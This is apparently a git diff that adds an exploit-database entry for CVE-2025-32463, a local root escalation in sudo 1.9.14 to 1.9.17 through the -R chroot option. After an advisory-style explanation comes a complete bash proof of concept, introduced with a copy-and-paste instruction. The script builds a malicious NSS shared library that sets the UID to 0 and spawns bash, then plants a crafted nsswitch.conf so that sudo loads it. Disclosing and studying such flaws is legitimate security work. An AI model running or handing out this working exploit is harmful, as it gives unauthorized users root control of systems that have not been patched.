|
| 1 | +Exploit Title: Sudo chroot 1.9.17 - Local Privilege Escalation |
| 2 | +Google Dork: not aplicable |
| 3 | +Date: Mon, 30 Jun 2025 |
| 4 | +Exploit Author: Stratascale |
| 5 | +Vendor Homepage:https://salsa.debian.org/sudo-team/sudo |
| 6 | +Software Link: |
| 7 | +Version: Sudo versions 1.9.14 to 1.9.17 inclusive |
| 8 | +Tested on: Kali Rolling 2025-7-3 |
| 9 | +CVE : CVE-2025-32463 |
| 10 | + |
| 11 | +*Version running today in Kali:* |
| 12 | +https://pkg.kali.org/news/640802/sudo-1916p2-2-imported-into-kali-rolling/ |
| 13 | + |
| 14 | +*Background* |
| 15 | + |
| 16 | +An attacker can leverage sudo's -R (--chroot) option to run |
| 17 | +arbitrary commands as root, even if they are not listed in the |
| 18 | +sudoers file. |
| 19 | + |
| 20 | +Sudo versions affected: |
| 21 | + |
| 22 | + Sudo versions 1.9.14 to 1.9.17 inclusive are affected. |
| 23 | + |
| 24 | +CVE ID: |
| 25 | + |
| 26 | + This vulnerability has been assigned CVE-2025-32463 in the |
| 27 | + Common Vulnerabilities and Exposures database. |
| 28 | + |
| 29 | +Details: |
| 30 | + |
| 31 | + Sudo's -R (--chroot) option is intended to allow the user to |
| 32 | + run a command with a user-selected root directory if the sudoers |
| 33 | + file allows it. A change was made in sudo 1.9.14 to resolve |
| 34 | + paths via chroot() using the user-specified root directory while |
| 35 | + the sudoers file was still being evaluated. It is possible for |
| 36 | + an attacker to trick sudo into loading an arbitrary shared |
| 37 | + library by creating an /etc/nsswitch.conf file under the |
| 38 | + user-specified root directory. |
| 39 | + |
| 40 | + The change from sudo 1.9.14 has been reverted in sudo 1.9.17p1 |
| 41 | + and the chroot feature has been marked as deprecated. It will |
| 42 | + be removed entirely in a future sudo release. Because of the |
| 43 | + way sudo resolves commands, supporting a user-specified chroot |
| 44 | + directory is error-prone and this feature does not appear to |
| 45 | + be widely used. |
| 46 | + |
| 47 | + A more detailed description of the bug and its effects can be |
| 48 | + found in the Stratascale advisory: |
| 49 | + https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot |
| 50 | + |
| 51 | +Impact: |
| 52 | + |
| 53 | + On systems that support /etc/nsswitch.conf a user may be able |
| 54 | + to run arbitrary commands as root. |
| 55 | + |
| 56 | +*Exploit:* |
| 57 | + |
| 58 | +*Verify the sudo version running: sudo --versionIf is vulnerable, copy and |
| 59 | +paste the following code and run it.* |
| 60 | +*----------------------* |
| 61 | +#!/bin/bash |
| 62 | +# sudo-chwoot.sh – PoC CVE-2025-32463 |
| 63 | +set -e |
| 64 | + |
| 65 | +STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) |
| 66 | +cd "$STAGE" |
| 67 | + |
| 68 | +# 1. NSS library |
| 69 | +cat > woot1337.c <<'EOF' |
| 70 | +#include <stdlib.h> |
| 71 | +#include <unistd.h> |
| 72 | + |
| 73 | +__attribute__((constructor)) |
| 74 | +void woot(void) { |
| 75 | + setreuid(0,0); /* change to UID 0 */ |
| 76 | + setregid(0,0); /* change to GID 0 */ |
| 77 | + chdir("/"); /* exit from chroot */ |
| 78 | + execl("/bin/bash","/bin/bash",NULL); /* root shell */ |
| 79 | +} |
| 80 | +EOF |
| 81 | + |
| 82 | +# 2. Mini chroot with toxic nsswitch.conf |
| 83 | +mkdir -p woot/etc libnss_ |
| 84 | +echo "passwd: /woot1337" > woot/etc/nsswitch.conf |
| 85 | +cp /etc/group woot/etc # make getgrnam() not fail |
| 86 | + |
| 87 | +# 3. compile libnss_ |
| 88 | +gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c |
| 89 | + |
| 90 | +echo "[*] Running exploit…" |
| 91 | +sudo -R woot woot # (-R <dir> <cmd>) |
| 92 | + # • the first “woot” is chroot |
| 93 | + # • the second “woot” is and inexistent |
| 94 | +command |
| 95 | + # (only needs resolve the user) |
| 96 | + |
| 97 | +rm -rf "$STAGE" |
| 98 | +*----------------------* |
0 commit comments